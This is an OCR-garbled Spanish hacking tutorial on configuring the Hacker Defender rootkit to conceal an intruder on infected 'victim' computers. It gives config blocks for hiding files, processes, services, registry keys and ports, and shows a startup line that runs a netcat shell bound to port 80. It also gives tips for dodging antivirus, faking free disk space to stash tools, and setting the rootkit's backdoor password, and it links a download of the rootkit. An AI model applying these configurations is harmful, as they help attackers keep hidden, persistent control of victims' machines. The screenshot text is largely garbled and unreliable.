HACKER DEEENDER BY BANDIDO

Muchas veces cuando tenemos infetados nos preguntamos como hacer para ocultar nuestros rastros
y larespuesta casi Ssempre es "usa un proxy" o "restringel e accesos de modo que no puedaentraraa
laconsola’ o "restriguele el acceso para que no entre a administrador” o "modifica el archivo host
para que no actulize su nod 32" xD pero que pasasi hacemos esto |o del proxy es bueno siemprey
cuando tengas una buena conexion aintenet pero como tu conexion es pobre debido a que fuiste
unavictimamas de latelefonica de nadate sirve |o segundo y lo tercero escasi lo mismo €
infectado ni siquiera sospecharia automaticamente dira que tiene un virus . Y con lo cuarto seria
muy sospechoso ver su nod 32 siempre de color rojo.

Asi que hoy les traigo una alternativa totalmente distinta .
El gran y viejo “Hacker defender” pero primero veamos lo
siguiente .

http://www.megaupload.com/?d=FHA9F7SN

ROOTKITS
Que es un rootkit?

Los rootkits son programas que permiten ocultar cualquier
aplicacion que el atacante decida ocultar
(puertos , archivos , servicios , claves de registro , etc)

ejemplo : Tu sabras que cuando tu infectas a una maquina el
infectado con un simple "netstat -a" podra ver el puerto por el que
el atacante se esta conectando y no solo eso si no que tambien al
ver el puerto vera la ip .Y lo que el rootkit hace es ocultar el
puerto y al hacerlo oculta la ip de pasadita .

Como funcionan los rootkits ?

Los rootkits se ocultan mediante una tecnica de programacion
Ilamada "API HOOKING"™ y que es esto ?

APl (interfaz en programacion de aplicacion ) hooking en ingles es
enganchando y eso es exactamente lo que hace .

ejemplo :explorer.exe quiere leer un archivo en particular para
luego entragarsela al SO windows el rootkit

lo que hace es "enganchar" (interceptar) las llamadas API
restringiendo la lectura del archivo .

Que es el hacker defender ?

Hacker defender es uno de los rootkits mas utilizados cabe destacar
gue este rootkit ya es detectado por todos los antivirus y que el


http://www.megaupload.com/

rootkit se libero el 15.08.2005 ya casi 4 afios (todo un dinosaurio)
.Pero aun sigue siendo usado y acad te mostrare la forma de como
trabaja el rootkit .

ATENCION : este rootkit en la actualidad funciona perfectamente con
Xp Yy yo y muchas personas mas lo usan asi que no se vallan y sigan
leyendo :D

et

=7 readmeen.bxt s hezdef100,2.ini
== | Documento de bexko L r" Cpriones de configuracian
= G kE 4 KB

L .

""'ﬁ";"_t hxdef100.ini
" Ff Opriones de configuracian hxdef100.exe
S KB
-

Estos son los cuatro archivos que vamos a utilizar

y que los he dejado arriba .En el readme tienen mas informacion
acerca del hacker defender las preguntas mas comunes etc .

El hxdefl00.exe este es el rootkit =)

y los otros dos son los archivos donde se configura el rootkit

en realidad estos dos archivos son lo mismo ,con cualquiera de

los dos se puede ejecutar el rootkit. EN EI hxdefl00.ini si ustedes
observan su configuracion esta con varios simbolos y esto por

que¢?
sencillamente para hacerlo indetectable al antivirus .
Estos caracteres son ignorados |, <, >, :, \, /7y " en todas las

lineas excepto [Startup Run], [Free Space] y [Hidden Ports] ya aca

se pueden poner a jugar hasta hacerlo indetectable :D ojo que yo lo
he escaneado con nod karspeky y avast y no lo detecta como rootkit
debido a que por si solo no puede ejecutar ninguna accion

pero cuando tu ocultas este archivo junto con el rootkit si te lo

detecta el antivirus .

Analizemos 1o que hace el hacker defender

nota: para este tuto he agregado partes al codigo para que sea mas
entendible :

Bueno para dejarlo bien claro ire explicando y colocare imagenes
ok.

[Hidden Table]

Esta opcion te permite ocultar las carpetas , archivos , documentos
etc solo tienes que especificarle bien las

extensiones y los comodines como ves en el codigo .

[Hidden Table]

hxdef*

carpeta

server.*

archivos.*



Asi antes de ejecutar el hacker defender

== Disco local (C:)

Archivo:  Edicion  Yer  Favoritos  Herramientas  Avuda

@ntrés - @ - I? )__\' Bisqueds || Carpetas [ii]~

Direccidn | < C:

@ Comparkir esta carpeta

SEFYEr

Tareas del sistema = I';j Archivos de programa };;’ Documents and Settings IL,_J WINDOWS
I@ Oiculbar el contenido de esta .

uridad Iy et = BA=
:5:) Agregar o quikar programas Archivo 1:/’ carpeta == | archivos
,‘IJ Buscar archivos o carpetas LR L A

archivos m — | archivas = archivos
: ] h Archivo WinRAaR == || Documento de texto enriquecido = | Documento de texto
Tareas de archivo y carpeta  * 1kEB _=A 1KE = 1 OKB
:3 Crear nueva carpeta toizly hedef100
@ Publicar esta carpeta sn Wb hiedef100 = Opciones de corfiguracidn hixdef_video
= 4KB

fes

DOtros sitios

g MiPC

asi despues de la ejecucion

= Disco local [C:)

Archivo  Edicidn  Ver Favoritos  Herramientas  Ayuda

@Atrés hd e - l@ ﬁBL’lsqueda H:‘ Carpetas v

Direccidn S C:\

o (== "
Tareas del sistema Il;) Archivos de programa ILJ Documents and Settings Il:_) WINDOWS

Oculbar el contenido de esta
uridad

33 Agregar o quikar programas

net
Archivo
OEE

IJ Buscar archivos o carpetas

¥

Tareas de archivo y carpeta

Ej Crear nueva carpeta
@ Publicar esta carpeta en web
@ Compartir eska carpeta

[Hidden Processes]

Esta otra opcion te permite ocultar los procesos que normalmente
los puedes ver (en este caso que no los puedes ver xD ) desde el
administrador de windows o con un simple tasklist desde la consola
[Hidden Processes]

hxdef*
server.exe

Asi sin aver escrito el codigo de arriba



Ed Administrador de tareas de Windows

archivo  Opciones  Wer  Apagar  Avuda

Aplicaciones | Procesos |Rendimientu:u Funciones de red || Usuarios

Mombre de imagen Mombre de usuario | CPU | Usode...
alg.exe SERVICIO LOCAL oo 3. 184 KB
cmd. exe casa oo 496 KE
cmd. exe Casa oo 2,264 KB
C5F55.BXE SYSTEM an 1.096 KB
ctFmon. exe casa oo Z.864 KB
equi.exe Casa an 2.640 KB
ekrn,exe SYSTEM an 40,176 KB
explarer, exe Casa 0z 14.960 KB

[Feederiog. exe SYSTEM o Z.136 FE |
|sass5.exe S¥STEM oo 1,505 kB
mspaint.exe Casa an 10,052 KB
notepad.exe casa oo 3132 KB
Proceso inackivo del sistema SYSTEM g9 16 KB

E

Casa a0 2,004 K
= KB

SYSTEM an 3820 KB
SIMES, BXE SYSTEM oo 92 KB
spoolsy . exe SYSTEM an 5.004 KB
sychosk,exe SYSTEM 0z 4. 376 KB
sychosk,exe Servicio de red oo 3.784 KB
sychosk,exe SYSTEM an 16,016 KB
svchosk, exe Servicio de red i 2,924 KB
sychosk,exe SERNVICTO LOZAL an 4,584 KB
sychosk, exe SYSTEM oo 3,896 KB
Swskem SYSTEM an 216 kB
kaskmgr.exe Casa 0a 1.924 KB
VMwareService.exe SYSTEM an 2,585 KB
VMwareTray.exe Casa an 2,676 KB
VMwarelser. exe Casa an 4,072 KB
winlogon, exe SYSTEM an 916 KB
waenkfy exe Casa 1] 1,952 KB
winaucl, exe casa oo 4,965 KB

asi con el codigo escrito y el HXD ejecutado .

ES Administrador de tareas de Windows

archiva Opciones  Yer Apagar  Awvuda

Aplicaciones | Procesos |Rendimient0 Funciones de red | Usuarios

Mombre de imagen Mombre de usuario CPU | Usode...

alg.exe SERNICDC LonZAL ao 3.164 KB
cmd, exe casa oo 454 KB
cmd, exe casa oo Z.244 KB
CEFES, 2xe SYSTEM a3 1.003 KB
ckfmon. exe casa oo 2.844 KB
equUi.exe Casa ao 2,620 KB
ekrn.exe SYSTEM an 40,156 KB
explorer.exe Casa o1 15.040 KB
Isass.exe SYSTEM aa 1.000 KE
mspaink.exe Casa uln] 12.845 KB
mspainkt. exe Casa oS 7,344 KB
Procesa inactiva del siskterna SYSTEM 88 16 KB
reg.exe Casa ao 1.934 KB
services, exe SYSTEM aa 3.812 KB
SMISS. BXEe SYSTEM aa I72 KB
spoolsyv.exe SYSTEM oo 4.954 KB
swchosk, exe SYSTEM aa 4,356 KB
svchost,exe Servicio de red oo 3.764 KB
swchost, exe SYSTEM aa 15,992 KB
swchosk. exe Servicio de red oo 2,904 KB
swchosk.exe SERNMICTO LOCAL an 4.564 KB
swchosk, exe SYSTEM aa 5.864 KB
Syskern SYSTEM an 216 KB
taskmgr.exe casa 03 1.905 KB
WhMwareService exe SYSTEM aa 2,265 KB
YMwareTray.exe Casa uln] 2,655 KB
WMwarelUser.exe Casa ao +4.056 KB
winlogon. exe SYSTEM ao 1.160 KB
wiscrkFy exe casa an 1.932 KB
wiaucle, exe casa ao 4,245 KE

[ rMostrar procesos de todos los usuarios Terminar proceso

Procesos: 51 Uso de CPU: 159 Zarga de transacciones: 163964k




[Root Processes]

Esta opcion es interesante te permite excluir archivos que van a
ser inmunes al ataque del HxD en este caso por ejemplo el
server.exe con esto tu seras inmune al ataque osea tu podras ver
los archivos , procesos , puertos ocultos .

[Root Processes]
hxdef*

rcmd.exe
server.exe

Agui estoy con el poison observando todos los
ocurriendo en la maquina victima .La imagen de
victima lo veria .

procesos que estan

arriba seria como la

Image Mame Path FID Image Baze  Image Size | Threads | CPU @ Mem Usage
[ system Idie Process 1] 00ooooog 0ooddoodo 1 av 1E.00 kiB
[ Sustem 4 00000000 00000000 B4 1 216.00 KiE

+-7 smss.ewe WSystemFoothSystem32hamss. exe B60 48580000 000aFoa0 3 1] 352.00 KiB

+-7 corss exe WMCNWIND OW S system3Zhosrss. exe E24 44680000 00005000 11 2 1.05 MiB

+ E winlogon, exe VIMCAWINDOW S system32winlogon. exe ESE 01000000 00030000 19 0 1.18MiE

+-7] services.ewe CoafIND O Shapstern32heervices. exe oo maooaoog - ooo01caon 18 0 374 MiB

+7 lsass.eve CoafIND O Shapstern 324 sass. ene 2 oaooaood - 0oo0dsoao. 18 0 1.20MiB

#-™ svchost exe CohdIND O Shapstern32hevchost exe avE oaooaood - 0oo0asoao 18 0 427 MiB

+# svchostexs A IND D Shapstern32hsvechost exe 988 01000000 0O00S000 10 0 370 MiB

+#[7 svchostexs C:AwIND DS Spstem32hsvehost exe 1076 01000000 0O0OS000 53 0 15.63 MiB

+ E svchost exe Chw I DO Shapstemn32hevchost exe 1144 01000000 0000s000 4 0 286 MEB

+ E svchost exe Chw I DO Shapstemn32hevchost exe 1228 01000000 0000s000 14 0 448 B

+ ewplorerexs C:hwf MO 0w SAE wplorer EXE 1432 01000000 OOOFFOOO 22 9 10.68 Ml

+ E spoalsy. exe C:AWND O Shapsten 32N epoalsy. exe 1860 01000000 00010000 10 0 487 MiE

+ E egui.exe C:A\Archivos de programahESETSESET MOD32 Antivir.. 1652 00400000 0osooon 4 0 258 ME

+-7 WMwareTrap.eve C:MArchivos de programatMwarehitware Toolsh,.. 1736 00400000 0001e000 1 0 2E1 ME

+-7 WMwareU ser exes C:Mdrchivos de programatMwarestware Toolsh. 1752 00400000 00081000 ] 1] 4.00 MiB
+-7 ctfmorn.exe Cohiwd IND O Shapstern32hotfmon. exe 1760 00400000  000QG000 1 0 2.80 MiB
+7] cd.ese Lo IND O Shapetem32hemd. exe 1772 4aD00o00  0OOBROOO0 1 1] 221 MiB

+ E TE1. BHE CAWND DWW Shspatemn 32 ieg. exe 1732 01000000 00014000 1 0 1.96 MiE

¥ E ekin.exe C:hrchivos de programasESETSESET NOD32 Antivir.. 1888 00400000 0O0EEDOD 1A 0 39.23 MiB

¥ E WhwareS ervice exe C:harchivos de programatbwarehbware Tools\Y... 1992 00400000 000sEDO0 3 0 203 ME

+[7] algexe Lo MDD ShS patem32halg. ene 1400 1000000 0OoooCood B 1] 311 MiB
¥ E wichtfy. exe Cohf I D O Shapstern 32wz ontfy exe 1672 01000000 0000EDO0 1 0 1.91 MiE

+ E wuaLch exe Coh I DO Shapstemn 32 wnauclt exe 1182 00400000 Qno1EQQO 3 0 485 MEB

+ E svchost exe Chw I DO Shapstemn32hevchost exe 1976 01000000 0000s000 g 0 I79MEB

+ E mepaint, exe AR D O Shapstemn 32hme paint, exe B20 01000000 00057000 5 0 1.06 MiE

] crmd.exe C:hwf MDD Shepstemn32hvemd. exe 584 4AD00000 00065000 1 1] 4E8.00 KiE

+-[7] serverene C:hgerver exe 1680 00400000  00OORCOOD 3 0 204 MiB

+-77 hidef 100, exe C:hhdef100. exe 436 Q0400000 00033000 2 1] 209 MiB

[Hidden Services]

Esta opcion te permite ocultar los servicios que se estan ejceutando como
los del firewall el antivirus el HD etc.

[Hidden Services]

HackerDefender*

Asi es como se veria si se omite este codigo .



e IC:AWINDOWSAsystem32cmd. exe

Actualizaciones automiticas

Administrador de cuentas de seguridad

Administrador de discos lagicos

Adguisicidn de imdgenes de Windows <WIAD

Almacenamiento protegido

Audio de Windows

Ayuda de MetBIOS sobre TCPAIP

Ayuda y soporte técnico

Centro de seguridad

Cliente de seguimiento de vinculos distribuidos

Cliente DHCP

Cliente DNS

Cliente Weh

Cola de impresidn

Compatibhilidad de cambic rapido de usuario

Conexiones de red

Configuracidn inaldmbrica rapida

Deteccidn de hardware shell

Eset Serwvice

Estacidn de trabajo

Examinador de eguipos

EirewalJde“wigduws/Cunexiﬁn compartida a Internet (ICE>
T S RS

HXD Service 108

T rmpywprrcesos de servidor DCOM
Inicio de sesidn secundario

Instrumental de administracidén de Windows

Llamada a procedimiento remoto <(RPCD

NLA ¢(Network Location Awareness?

Hotificacidn de sucesos del sistema

Plug and Play

Programador de tareas

Registro de sucesos

Registyo remoto

Servicio de descubrimientos SSDFP

Servicio de informe de errores

Servicio de puerta de enlace de capa de aplicacidn

Servicio de restauracidn de sistema

Servicios de cifrado

Servicios de Terminal Server

Servicios IPSEC

Servidor

Sistema de sucesos COM+

Temas

UMware Tools Serwvice

S5e ha completado el comando correctamente.

RS

Asi con el codigo escrito y ejecutado.

&

C:~>net start
Se han iniciado estos sewrvicios de Windows:

Actualizaciones automaticas

Administrador de cuentas de seguridad
Administrador de discos légicos
Adguisicidon de imAgenes de Windows (WIAD>
Almacenamiento protegido

Audio de Windows

Ayuda de MetBIOS sobre TCP-IP

Ayuda vy soporte técnico

GCentro de seguridad

GCliente de seguimiento de vinculos distribuidos
GCliente DHCP

GCliente DMS

Cliente UWeh

Cola de impresidn

Compatibilidad de cambio rapido de uswnario
Conexiones de red

Configuracidon inalambrica rapida
Deteccidn de hardware zhell

Ezet Service

Estacidn de trahajo

Examinador de eguipos

Firewall de YWindows~Conexidn compartida a Internet
Horario de Windows

Iniciador de procesos de servidor DCOM
Inicio de sesidn secundario

Instrumental de administracidn de Windows
Llamada a procedimiento remoto CRPFC)>

HLA <Hetwork Location Awareness)
Motificacidon de sucesos del sistema

Plug and FPlay

Programador de tareas

Registro de sucesos

Registro remoto

Servicio de descubrimientos S3DP

Servicio de informe de errores

Servicio de puerta de enlace de capa de aplicacidn
Servicio de restauracidn de sistema
Servicios de cifrado

Servicios de Terminal Server

Servicios IPSEC

Servidor

Sistema de sucesos COM+

Temas

UMware Tools Service

%e ha completado €l comando correctamente.




[Hidden RegKeys]
Esta otra opcion sirve para ocultar las claves de los registros.

[Hidden RegKeys]

HackerDefender100

LEGACY_HACKERDEFENDER100

HackerDefenderDrv100

LEGACY_HACKERDEFENDERDRV100asi si se omite el codigo

s Editor del Registro

Archivo Edicion  Wer Faworitos  Awuda

(] {4D38E9E0-E325-11CE-B # || Mombre Tipo Datas
[0 {71A27CDD-512A-11D0-| (Predeterminado) REG_SZ SErvice
3 {745817A0-74D3-1 1D0-E

2 AppMgmt

[Z1 Base

21 Boot Bus Extender
221 Boot file system
3 Cryptsve

[Z3 DecomLaunch
Z3 dmadmin

23 dmboat.svs
3 dmio.sys

[Z3 dmload.svys

3 dmserver

D EventLog

[Z File system

23 Metlogon

23 PCI Configuration

3 PlugPlay

23 PMP Filker

[Z3 Primary disk.

1 rRpess

[Z3 5C5I Class ~
< | >

Mi PCYHEEY _LOCAL_MACHIMEYSYSTEMYControlSet001 Controll SafeBootMinimaliHackerDefender 100

asi con el codigo escrito y ejecutado

;' Editor del Registro : E rz|

frchivo  Edididn er Favoritos  Avuda

(23 Apptgmt Marnbr= Tipo Datos

O ease (ab] predeterminado) REG 57 Driver Group
(7] Boot Bus Extender

(1] Boot file system

(7 Crvptave

(7 oromLaunch

(23 drmadmin

(] dmboctsys

[ drnin.sys

(] dwload sys

(7 dmserver B
D EventLog

(L File system

SEm

[ Helpswe

(2] Metiogon

(13 PCI Configuration W

£ | ? £

|

|

[ PCHKEY_LOCAL MACHINE!SYSTEMIContralSetnnt iControl|Safefiont|Miimal Fiter

[Hidden RegValues]

Esto es casi o mismo solo que para los valores lo que esta para el
lado derecho .

[Hidden RegValues]



[Startup Run]

Esta otra opcion no la uso pero lo que hace es iniciarse junto con
windows y el HxD en el ejemplo nosotros tendriamos siempre a
nuestra victima escuchando por el puerto 80 .

[Startup Run]
c:\nc.exe ? -1 -p 80 -t -e cmd.exe

[Free Space]

Esta es una de mis favoritas con esto podemos simular una
disminucion en el espacio libre del disco que queramos y para que
sirve esto pues es logico por ejemplo 1le puedes subir 5GB de
programas a su Disco duro xD para ocultarte mejor o para
instalarle otros programas complementarios a tu troyano , 0O
derrepente quieres capturar cosas y guardarlas es su disco duro
(aya ustedes :) ) entonces cuendo le subas las 5 gigas su disco
seguira igualito no abra pasado nada.

[Free Space]
€:1000000000

aquf sin escribir codigo

Propiedades de Disco local [C:)

General | Hemamientas | Hardware | Compartir | Cuota

gl

Tipo:  Dizco local

Sizterna de archivos: MNTFS

B E:pacio utilizado: 1.831.161.856 bytes 1.70 GB
B E:zpacio libre: 3.408.306.176 bytes 317 GE
Capacidad: 5.239.468.032 bytes 487 GB

[dnidad C

Liberar espacio en dizco

[ ] Comprimir contenido para ahorrar ezpacio en disco

Permitir a Index Server indizar el disco para acelerar la blisqueda

[ Aceptar l [ Canicelar

aqui con el codigo escrito y ejecutado .



Propiedades de Disco local [C:) E]

General | Herramientas | Hardware | Compartic [ Cuaota
) |

Tipo:  Dizco local

Sizterna de archivos: MTFS

B E:pacio utilizada: 231.864.822 bytes T3 ME

B E:zpacio libre: 4.407.603.200 bytes 410GE

Capacidad: 5.239.468.032 bytesz 487 GB
Uridad C

Liberar espacio en dizco

[] Comprimir contenido para ahomar espacio en disco

Permitir a lndex Server indizar el dizco para acelerar la blzqueda

[ Aceptar ] [ Cancelar

[Hidden Ports]

Esta otra opcion sirve mucho tu sabes que cundo tu infectas a una
victima por defecto le abre un puerto y aparte este escucha un
puerto mas bien dicho hay un puerto de salida(tcpo) y otro de
entrada (tcpi) o=outbound i=i1nbound

[Hidden Ports]
TCP1:1028
TCP0O:3460
UDP:1900

¢+ Simbolo del sistema

C:snetstat —a
Conexiones activas

Proto Direccidn local Direccidn remota Estado

TCP home :epmap home =@ LISTENING

TCP home imicrosoft—ds home =@ LISTENING

TCP home 18028 home =@ LISTENING

TCP home : 30686 home =@ LISTENING

TCP home :nethios—ssn home =8 LISTENING

TICP home : 1851 192.168.1.33:3468 ESTABLISHED

unpe home imicrosoft—ds D%

unpe home :izakmp

unpe home : 1834

uDp home : 4588

unpe home :ntp

unpe home : 17688

unpe home :ntp

unpe home :nethios—ns

unpe home :nethios—dgm
home : 1788

REREREEERX
X KK K KK K X X

R




¢+ Simbolo del sistema

C:wnetstat —a
Conexiones activas

Proto Direccidn local Direccidn remota Estado
TCP home : epmap home =@ LISTENING
TCP home :microsoft—ds home =@ LISTENING
TCP home : 30606 home =@ LISTENING
TCP home :nethios—ssn home =8 LISTENING
une home :microsoft—ds
une home : izakmp
une home : 1834

home : 4588

home :ntp

home :ntp

home :nethios—ns

home :nethios—dgm

REREEERX
X KK K KK K X

Ya me canse de escribir :D
[Settings]

La opcion settings te permite configurar el hacker defender a tu
manera las 3 primeras opciones son para el backdoor que tiene el
hxd por defecto , pero no me gusta su configuracion , es muy
detectado y consume recursos en fin no lo recomiendo mejor usaria
el netcat , la cuarta opcion es el nombre del servicio en este caso
hackeDefenderl00 si uno quiere lo puede modificar y es 1igual con
la quinta opcion solo que este es el nombre del servicio con el
cual 1o reconoce windows. por ejemplo si se esta ejecuntado el
servicio del HxD y la victima quiere parar el servicio solo
bastaria con teclear en la consola "net stop "hxd service 100"
automaticamente detendria el proceso y todo regresaria a la
normalidad =) las otras opciones son de los drivers.

[Settings]

Password=hxdef-rulez

BackdoorShel I=hxdef3$.exe
FileMappingName=_.-=[Hacker Defender]=-
ServiceName=HackerDefender100
ServiceDisplayName=HXD Service 100
ServiceDescription=powerful NT rootkit
DriverName=HackerDefenderDrv100
DriverFileName=hxdefdrv.sys

Bueno eso es todo.

Este material esta protegido por los derechos de autor....jajaja
Puedes copiar y pegar este material donde se te antoje lo unico que te
pido es que respetes mi autoria . Saludos a toda la gente undergroundj



